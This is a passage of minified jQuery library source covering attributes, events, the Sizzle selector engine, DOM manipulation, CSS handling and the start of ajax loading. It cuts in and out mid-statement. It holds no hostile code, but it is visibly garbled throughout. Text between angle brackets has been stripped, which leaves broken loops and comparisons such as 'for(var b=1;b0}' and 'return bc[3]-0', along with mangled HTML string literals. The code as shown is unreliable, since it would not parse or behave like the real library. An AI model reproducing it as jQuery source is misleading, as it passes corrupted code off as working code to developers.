e=c.attributes.value;return!e||e.specified?c.value:c.text}if(d.nodeName(c,"select")){var f=c.selectedIndex,g=[],h=c.options,i=c.type==="select-one";if(f<0)return null;for(var k=i?f:0,l=i?f+1:h.length;k=0;else if(d.nodeName(this,"select")){var f=d.makeArray(e);d("option",this).each(function(){this.selected=d.inArray(d(this).val(),f)>=0}),f.length||(this.selectedIndex=-1)}else this.value=e}})}}),d.extend({attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,e,f){if(!a||a.nodeType===3||a.nodeType===8||a.nodeType===2)return b;if(f&&c in d.attrFn)return d(a)[c](e);var g=a.nodeType!==1||!d.isXMLDoc(a),h=e!==b;c=g&&d.props[c]||c;if(a.nodeType===1){var i=k.test(c);if(c==="selected"&&!d.support.optSelected){var j=a.parentNode;j&&(j.selectedIndex,j.parentNode&&j.parentNode.selectedIndex)}if((c in a||a[c]!==b)&&g&&!i){h&&(c==="type"&&l.test(a.nodeName)&&a.parentNode&&d.error("type property can't be changed"),e===null?a.nodeType===1&&a.removeAttribute(c):a[c]=e);if(d.nodeName(a,"form")&&a.getAttributeNode(c))return a.getAttributeNode(c).nodeValue;if(c==="tabIndex"){var o=a.getAttributeNode("tabIndex");return o&&o.specified?o.value:m.test(a.nodeName)||n.test(a.nodeName)&&a.href?0:b}return a[c]}if(!d.support.style&&g&&c==="style"){h&&(a.style.cssText=""+e);return a.style.cssText}h&&a.setAttribute(c,""+e);if(!a.attributes[c]&&(a.hasAttribute&&!a.hasAttribute(c)))return b;var p=!d.support.hrefNormalized&&g&&i?a.getAttribute(c,2):a.getAttribute(c);return p===null?b:p}h&&(a[c]=e);return a[c]}});var p=/\.(.*)$/,q=/^(?:textarea|input|select)$/i,r=/\./g,s=/ /g,t=/[^\w\s.|`]/g,u=function(a){return a.replace(t,"\\$&")};d.event={add:function(c,e,f,g){if(c.nodeType!==3&&c.nodeType!==8){try{d.isWindow(c)&&(c!==a&&!c.frameElement)&&(c=a)}catch(h){}if(f===!1)f=v;else if(!f)return;var i,j;f.handler&&(i=f,f=i.handler),f.guid||(f.guid=d.guid++);var k=d._data(c);if(!k)return;var l=k.events,m=k.handle;l||(k.events=l={}),m||(k.handle=m=function(){return typeof d!=="undefined"&&!d.event.triggered?d.event.handle.apply(m.elem,arguments):b}),m.elem=c,e=e.split(" ");var n,o=0,p;while(n=e[o++]){j=i?d.extend({},i):{handler:f,data:g},n.indexOf(".")>-1?(p=n.split("."),n=p.shift(),j.namespace=p.slice(0).sort().join(".")):(p=[],j.namespace=""),j.type=n,j.guid||(j.guid=f.guid);var q=l[n],r=d.event.special[n]||{};if(!q){q=l[n]=[];if(!r.setup||r.setup.call(c,g,p,m)===!1)c.addEventListener?c.addEventListener(n,m,!1):c.attachEvent&&c.attachEvent("on"+n,m)}r.add&&(r.add.call(c,j),j.handler.guid||(j.handler.guid=f.guid)),q.push(j),d.event.global[n]=!0}c=null}},global:{},remove:function(a,c,e,f){if(a.nodeType!==3&&a.nodeType!==8){e===!1&&(e=v);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=d.hasData(a)&&d._data(a),t=s&&s.events;if(!s||!t)return;c&&c.type&&(e=c.handler,c=c.type);if(!c||typeof c==="string"&&c.charAt(0)==="."){c=c||"";for(h in t)d.event.remove(a,h+c);return}c=c.split(" ");while(h=c[k++]){r=h,q=null,l=h.indexOf(".")<0,m=[],l||(m=h.split("."),h=m.shift(),n=new RegExp("(^|\\.)"+d.map(m.slice(0).sort(),u).join("\\.(?:.*\\.)?")+"(\\.|$)")),p=t[h];if(!p)continue;if(!e){for(j=0;j=0&&(a.type=f=f.slice(0,-1),a.exclusive=!0),e||(a.stopPropagation(),d.event.global[f]&&d.each(d.cache,function(){var b=d.expando,e=this[b];e&&e.events&&e.events[f]&&d.event.trigger(a,c,e.handle.elem)}));if(!e||e.nodeType===3||e.nodeType===8)return b;a.result=b,a.target=e,c=d.makeArray(c),c.unshift(a)}a.currentTarget=e;var h=d._data(e,"handle");h&&h.apply(e,c);var i=e.parentNode||e.ownerDocument;try{e&&e.nodeName&&d.noData[e.nodeName.toLowerCase()]||e["on"+f]&&e["on"+f].apply(e,c)===!1&&(a.result=!1,a.preventDefault())}catch(j){}if(!a.isPropagationStopped()&&i)d.event.trigger(a,c,i,!0);else if(!a.isDefaultPrevented()){var k,l=a.target,m=f.replace(p,""),n=d.nodeName(l,"a")&&m==="click",o=d.event.special[m]||{};if((!o._default||o._default.call(e,a)===!1)&&!n&&!(l&&l.nodeName&&d.noData[l.nodeName.toLowerCase()])){try{l[m]&&(k=l["on"+m],k&&(l["on"+m]=null),d.event.triggered=!0,l[m]())}catch(q){}k&&(l["on"+m]=k),d.event.triggered=!1}}},handle:function(c){var e,f,g,h,i,j=[],k=d.makeArray(arguments);c=k[0]=d.event.fix(c||a.event),c.currentTarget=this,e=c.type.indexOf(".")<0&&!c.exclusive,e||(g=c.type.split("."),c.type=g.shift(),j=g.slice(0).sort(),h=new RegExp("(^|\\.)"+j.join("\\.(?:.*\\.)?")+"(\\.|$)")),c.namespace=c.namespace||j.join("."),i=d._data(this,"events"),f=(i||{})[c.type];if(i&&f){f=f.slice(0);for(var l=0,m=f.length;l-1?d.map(a.options,function(a){return a.selected}).join("-"):"":a.nodeName.toLowerCase()==="select"&&(c=a.selectedIndex);return c},B=function B(a){var c=a.target,e,f;if(q.test(c.nodeName)&&!c.readOnly){e=d._data(c,"_change_data"),f=A(c),(a.type!=="focusout"||c.type!=="radio")&&d._data(c,"_change_data",f);if(e===b||f===e)return;if(e!=null||f)a.type="change",a.liveFired=b,d.event.trigger(a,arguments[1],c)}};d.event.special.change={filters:{focusout:B,beforedeactivate:B,click:function(a){var b=a.target,c=b.type;(c==="radio"||c==="checkbox"||b.nodeName.toLowerCase()==="select")&&B.call(this,a)},keydown:function(a){var b=a.target,c=b.type;(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(c==="checkbox"||c==="radio")||c==="select-multiple")&&B.call(this,a)},beforeactivate:function(a){var b=a.target;d._data(b,"_change_data",A(b))}},setup:function(a,b){if(this.type==="file")return!1;for(var c in z)d.event.add(this,c+".specialChange",z[c]);return q.test(this.nodeName)},teardown:function(a){d.event.remove(this,".specialChange");return q.test(this.nodeName)}},z=d.event.special.change.filters,z.focus=z.beforeactivate}c.addEventListener&&d.each({focus:"focusin",blur:"focusout"},function(a,b){function c(a){a=d.event.fix(a),a.type=b;return d.event.handle.call(this,a)}d.event.special[b]={setup:function(){this.addEventListener(a,c,!0)},teardown:function(){this.removeEventListener(a,c,!0)}}}),d.each(["bind","one"],function(a,c){d.fn[c]=function(a,e,f){if(typeof a==="object"){for(var g in a)this[c](g,e,a[g],f);return this}if(d.isFunction(e)||e===!1)f=e,e=b;var h=c==="one"?d.proxy(f,function(a){d(this).unbind(a,h);return f.apply(this,arguments)}):f;if(a==="unload"&&c!=="one")this.one(a,e,f);else for(var i=0,j=this.length;i0?this.bind(b,a,c):this.trigger(b)},d.attrFn&&(d.attrFn[b]=!0)}),function(){function u(a,b,c,d,e,f){for(var g=0,h=d.length;g0){j=i;break}}i=i[a]}d[g]=j}}}function t(a,b,c,d,e,f){for(var g=0,h=d.length;g+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,f=Object.prototype.toString,g=!1,h=!0,i=/\\/g,j=/\W/;[0,0].sort(function(){h=!1;return 0});var k=function(b,d,e,g){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!=="string")return e;var i,j,n,o,q,r,s,t,u=!0,w=k.isXML(d),x=[],y=b;do{a.exec(""),i=a.exec(y);if(i){y=i[3],x.push(i[1]);if(i[2]){o=i[3];break}}}while(i);if(x.length>1&&m.exec(b))if(x.length===2&&l.relative[x[0]])j=v(x[0]+x[1],d);else{j=l.relative[x[0]]?[d]:k(x.shift(),d);while(x.length)b=x.shift(),l.relative[b]&&(b+=x.shift()),j=v(b,j)}else{!g&&x.length>1&&d.nodeType===9&&!w&&l.match.ID.test(x[0])&&!l.match.ID.test(x[x.length-1])&&(q=k.find(x.shift(),d,w),d=q.expr?k.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:p(g)}:k.find(x.pop(),x.length===1&&(x[0]==="~"||x[0]==="+")&&d.parentNode?d.parentNode:d,w),j=q.expr?k.filter(q.expr,q.set):q.set,x.length>0?n=p(j):u=!1;while(x.length)r=x.pop(),s=r,l.relative[r]?s=x.pop():r="",s==null&&(s=d),l.relative[r](n,s,w)}else n=x=[]}n||(n=j),n||k.error(r||b);if(f.call(n)==="[object Array]")if(u)if(d&&d.nodeType===1)for(t=0;n[t]!=null;t++)n[t]&&(n[t]===!0||n[t].nodeType===1&&k.contains(d,n[t]))&&e.push(j[t]);else for(t=0;n[t]!=null;t++)n[t]&&n[t].nodeType===1&&e.push(j[t]);else e.push.apply(e,n);else p(n,e);o&&(k(o,h,e,g),k.uniqueSort(e));return e};k.uniqueSort=function(a){if(r){g=h,a.sort(r);if(g)for(var b=1;b0},k.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=l.order.length;e":function(a,b){var c,d=typeof b==="string",e=0,f=a.length;if(d&&!j.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(i,"")},TAG:function(a,b){return a[1].replace(i,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||k.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&k.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(i,"");!f&&l.attrMap[g]&&(a[1]=l.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(i,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=k(b[3],null,null,c);else{var g=k.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(l.match.POS.test(b[0])||l.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!k(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){return"text"===a.getAttribute("type")},radio:function(a){return"radio"===a.type},checkbox:function(a){return"checkbox"===a.type},file:function(a){return"file"===a.type},password:function(a){return"password"===a.type},submit:function(a){return"submit"===a.type},image:function(a){return"image"===a.type},reset:function(a){return"reset"===a.type},button:function(a){return"button"===a.type||a.nodeName.toLowerCase()==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=l.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||k.getText([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=l.attrHandle[c]?l.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=l.setFilters[e];if(f)return f(a,c,b,d)}}},m=l.match.POS,n=function(a,b){return"\\"+(b-0+1)};for(var o in l.match)l.match[o]=new RegExp(l.match[o].source+/(?![^\[]*\])(?![^\(]*\))/.source),l.leftMatch[o]=new RegExp(/(^(?:.|\r|\n)*?)/.source+l.match[o].source.replace(/\\(\d+)/g,n));var p=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(q){p=function(a,b){var c=0,d=b||[];if(f.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length==="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(l.find.ID=function(a,c,d){if(typeof c.getElementById!=="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},l.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(l.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!=="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(l.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=k,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){k=function(b,e,f,g){e=e||c;if(!g&&!k.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return p(e.getElementsByTagName(b),f);if(h[2]&&l.find.CLASS&&e.getElementsByClassName)return p(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return p([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return p([],f);if(i.id===h[3])return p([i],f)}try{return p(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var m=e,n=e.getAttribute("id"),o=n||d,q=e.parentNode,r=/^\s*[+~]/.test(b);n?o=o.replace(/'/g,"\\$&"):e.setAttribute("id",o),r&&q&&(e=e.parentNode);try{if(!r||q)return p(e.querySelectorAll("[id='"+o+"'] "+b),f)}catch(s){}finally{n||m.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)k[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector,d=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(e){d=!0}b&&(k.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!k.isXML(a))try{if(d||!l.match.PSEUDO.test(c)&&!/!=/.test(c))return b.call(a,c)}catch(e){}return k(c,null,null,[a]).length>0})}(),function(){var a=c.createElement("div");a.innerHTML="
";if(a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;l.order.splice(1,0,"CLASS"),l.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?k.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?k.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:k.contains=function(){return!1},k.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var v=function(a,b){var c,d=[],e="",f=b.nodeType?[b]:b;while(c=l.match.PSEUDO.exec(a))e+=c[0],a=a.replace(l.match.PSEUDO,"");a=l.relative[a]?a+"*":a;for(var g=0,h=f.length;g0)for(var g=c;g0},closest:function(a,b){var c=[],e,f,g=this[0];if(d.isArray(a)){var h,i,j={},k=1;if(g&&a.length){for(e=0,f=a.length;e-1:d(g).is(h))&&c.push({selector:i,elem:g,level:k});g=g.parentNode,k++}}return c}var l=L.test(a)?d(a,b||this.context):null;for(e=0,f=this.length;e-1:d.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b)break}}c=c.length>1?d.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a||typeof a==="string")return d.inArray(this[0],a?d(a):this.parent().children());return d.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==="string"?d(a,b):d.makeArray(a),e=d.merge(this.get(),c);return this.pushStack(N(c[0])||N(e[0])?e:d.unique(e))},andSelf:function(){return this.add(this.prevObject)}}),d.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return d.dir(a,"parentNode")},parentsUntil:function(a,b,c){return d.dir(a,"parentNode",c)},next:function(a){return d.nth(a,2,"nextSibling")},prev:function(a){return d.nth(a,2,"previousSibling")},nextAll:function(a){return d.dir(a,"nextSibling")},prevAll:function(a){return d.dir(a,"previousSibling")},nextUntil:function(a,b,c){return d.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return d.dir(a,"previousSibling",c)},siblings:function(a){return d.sibling(a.parentNode.firstChild,a)},children:function(a){return d.sibling(a.firstChild)},contents:function(a){return d.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:d.makeArray(a.childNodes)}},function(a,b){d.fn[a]=function(c,e){var f=d.map(this,b,c),g=K.call(arguments);G.test(a)||(e=c),e&&typeof e==="string"&&(f=d.filter(e,f)),f=this.length>1&&!M[a]?d.unique(f):f,(this.length>1||I.test(e))&&H.test(a)&&(f=f.reverse());return this.pushStack(f,a,g.join(","))}}),d.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?d.find.matchesSelector(b[0],a)?[b[0]]:[]:d.find.matches(a,b)},dir:function(a,c,e){var f=[],g=a[c];while(g&&g.nodeType!==9&&(e===b||g.nodeType!==1||!d(g).is(e)))g.nodeType===1&&f.push(g),g=g[c];return f},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var P=/ jQuery\d+="(?:\d+|null)"/g,Q=/^\s+/,R=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,S=/<([\w:]+)/,T=/",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};X.optgroup=X.option,X.tbody=X.tfoot=X.colgroup=X.caption=X.thead,X.th=X.td,d.support.htmlSerialize||(X._default=[1,"div
","
"]),d.fn.extend({text:function(a){if(d.isFunction(a))return this.each(function(b){var c=d(this);c.text(a.call(this,b,c.text()))});if(typeof a!=="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return d.text(this)},wrapAll:function(a){if(d.isFunction(a))return this.each(function(b){d(this).wrapAll(a.call(this,b))});if(this[0]){var b=d(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(d.isFunction(a))return this.each(function(b){d(this).wrapInner(a.call(this,b))});return this.each(function(){var b=d(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){d(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){d.nodeName(this,"body")||d(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=d(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,d(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,e;(e=this[c])!=null;c++)if(!a||d.filter(a,[e]).length)!b&&e.nodeType===1&&(d.cleanData(e.getElementsByTagName("*")),d.cleanData([e])),e.parentNode&&e.parentNode.removeChild(e);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&d.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return d.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(P,""):null;if(typeof a!=="string"||V.test(a)||!d.support.leadingWhitespace&&Q.test(a)||X[(S.exec(a)||["",""])[1].toLowerCase()])d.isFunction(a)?this.each(function(b){var c=d(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);else{a=a.replace(R,"<$1>");try{for(var c=0,e=this.length;c1&&l0?this.clone(!0):this).get();d(f[h])[b](j),e=e.concat(j)}return this.pushStack(e,a,f.selector)}}),d.extend({clone:function(a,b,c){var e=a.cloneNode(!0),f,g,h;if((!d.support.noCloneEvent||!d.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!d.isXMLDoc(a)){$(a,e),f=_(a),g=_(e);for(h=0;f[h];++h)$(f[h],g[h])}if(b){Z(a,e);if(c){f=_(a),g=_(e);for(h=0;f[h];++h)Z(f[h],g[h])}}return e},clean:function(a,b,e,f){b=b||c,typeof b.createElement==="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var g=[];for(var h=0,i;(i=a[h])!=null;h++){typeof i==="number"&&(i+="");if(!i)continue;if(typeof i!=="string"||U.test(i)){if(typeof i==="string"){i=i.replace(R,"<$1>");var j=(S.exec(i)||["",""])[1].toLowerCase(),k=X[j]||X._default,l=k[0],m=b.createElement("div");m.innerHTML=k[1]+i+k[2];while(l--)m=m.lastChild;if(!d.support.tbody){var n=T.test(i),o=j==="table"&&!n?m.firstChild&&m.firstChild.childNodes:k[1]===""&&!n?m.childNodes:[];for(var p=o.length-1;p>=0;--p)d.nodeName(o[p],"tbody")&&!o[p].childNodes.length&&o[p].parentNode.removeChild(o[p])}!d.support.leadingWhitespace&&Q.test(i)&&m.insertBefore(b.createTextNode(Q.exec(i)[0]),m.firstChild),i=m.childNodes}}else i=b.createTextNode(i);i.nodeType?g.push(i):g=d.merge(g,i)}if(e)for(h=0;g[h];h++)!f||!d.nodeName(g[h],"script")||g[h].type&&g[h].type.toLowerCase()!=="text/javascript"?(g[h].nodeType===1&&g.splice.apply(g,[h+1,0].concat(d.makeArray(g[h].getElementsByTagName("script")))),e.appendChild(g[h])):f.push(g[h].parentNode?g[h].parentNode.removeChild(g[h]):g[h]);return g},cleanData:function(a){var b,c,e=d.cache,f=d.expando,g=d.event.special,h=d.support.deleteExpando;for(var i=0,j;(j=a[i])!=null;i++){if(j.nodeName&&d.noData[j.nodeName.toLowerCase()])continue;c=j[d.expando];if(c){b=e[c]&&e[c][f];if(b&&b.events){for(var k in b.events)g[k]?d.event.remove(j,k):d.removeEvent(j,k,b.handle);b.handle&&(b.handle.elem=null)}h?delete j[d.expando]:j.removeAttribute&&j.removeAttribute(d.expando),delete e[c]}}}});var bb=/alpha\([^)]*\)/i,bc=/opacity=([^)]*)/,bd=/-([a-z])/ig,be=/([A-Z])/g,bf=/^-?\d+(?:px)?$/i,bg=/^-?\d/,bh={position:"absolute",visibility:"hidden",display:"block"},bi=["Left","Right"],bj=["Top","Bottom"],bk,bl,bm,bn=function(a,b){return b.toUpperCase()};d.fn.css=function(a,c){if(arguments.length===2&&c===b)return this;return d.access(this,a,c,!0,function(a,c,e){return e!==b?d.style(a,c,e):d.css(a,c)})},d.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bk(a,"opacity","opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{zIndex:!0,fontWeight:!0,opacity:!0,zoom:!0,lineHeight:!0},cssProps:{"float":d.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,e,f){if(a&&a.nodeType!==3&&a.nodeType!==8&&a.style){var g,h=d.camelCase(c),i=a.style,j=d.cssHooks[h];c=d.cssProps[h]||h;if(e===b){if(j&&"get"in j&&(g=j.get(a,!1,f))!==b)return g;return i[c]}if(typeof e==="number"&&isNaN(e)||e==null)return;typeof e==="number"&&!d.cssNumber[h]&&(e+="px");if(!j||!("set"in j)||(e=j.set(a,e))!==b)try{i[c]=e}catch(k){}}},css:function(a,c,e){var f,g=d.camelCase(c),h=d.cssHooks[g];c=d.cssProps[g]||g;if(h&&"get"in h&&(f=h.get(a,!0,e))!==b)return f;if(bk)return bk(a,c,g)},swap:function(a,b,c){var d={};for(var e in b)d[e]=a.style[e],a.style[e]=b[e];c.call(a);for(e in b)a.style[e]=d[e]},camelCase:function(a){return a.replace(bd,bn)}}),d.curCSS=d.css,d.each(["height","width"],function(a,b){d.cssHooks[b]={get:function(a,c,e){var f;if(c){a.offsetWidth!==0?f=bo(a,b,e):d.swap(a,bh,function(){f=bo(a,b,e)});if(f<=0){f=bk(a,b,b),f==="0px"&&bm&&(f=bm(a,b,b));if(f!=null)return f===""||f==="auto"?"0px":f}if(f<0||f==null){f=a.style[b];return f===""||f==="auto"?"0px":f}return typeof f==="string"?f:f+"px"}},set:function(a,b){if(!bf.test(b))return b;b=parseFloat(b);if(b>=0)return b+"px"}}}),d.support.opacity||(d.cssHooks.opacity={get:function(a,b){return bc.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style;c.zoom=1;var e=d.isNaN(b)?"":"alpha(opacity="+b*100+")",f=c.filter||"";c.filter=bb.test(f)?f.replace(bb,e):c.filter+" "+e}}),c.defaultView&&c.defaultView.getComputedStyle&&(bl=function(a,c,e){var f,g,h;e=e.replace(be,"-$1").toLowerCase();if(!(g=a.ownerDocument.defaultView))return b;if(h=g.getComputedStyle(a,null))f=h.getPropertyValue(e),f===""&&!d.contains(a.ownerDocument.documentElement,a)&&(f=d.style(a,e));return f}),c.documentElement.currentStyle&&(bm=function(a,b){var c,d=a.currentStyle&&a.currentStyle[b],e=a.runtimeStyle&&a.runtimeStyle[b],f=a.style;!bf.test(d)&&bg.test(d)&&(c=f.left,e&&(a.runtimeStyle.left=a.currentStyle.left),f.left=b==="fontSize"?"1em":d||0,d=f.pixelLeft+"px",f.left=c,e&&(a.runtimeStyle.left=e));return d===""?"auto":d}),bk=bl||bm,d.expr&&d.expr.filters&&(d.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!d.support.reliableHiddenOffsets&&(a.style.display||d.css(a,"display"))==="none"},d.expr.filters.visible=function(a){return!d.expr.filters.hidden(a)});var bp=/%20/g,bq=/\[\]$/,br=/\r?\n/g,bs=/#.*$/,bt=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bu=/^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bv=/(?:^file|^widget|\-extension):$/,bw=/^(?:GET|HEAD)$/,bx=/^\/\//,by=/\?/,bz=/)<[^<]*)*<\/script>/gi,bA=/^(?:select|textarea)/i,bB=/\s+/,bC=/([?&])_=[^&]*/,bD=/(^|\-)([a-z])/g,bE=function(a,b,c){return b+c.toUpperCase()},bF=/^([\w\+\.\-]+:)\/\/([^\/?#:]*)(?::(\d+))?/,bG=d.fn.load,bH={},bI={},bJ,bK;try{bJ=c.location.href}catch(bL){bJ=c.createElement("a"),bJ.href="",bJ=bJ.href}bK=bF.exec(bJ.toLowerCase()),d.fn.extend({load:function(a,c,e){if(typeof a!=="string"&&bG)return bG.apply(this,arguments);if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var g=a.slice(f,a.length);a=a.slice(0,f)}var h="GET";c&&(d.isFunction(c)?(e=c,c=b):typeof c==="object"&&(c=d.param(c,d.ajaxSettings.traditional),h="POST"));var i=this;d.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?d("
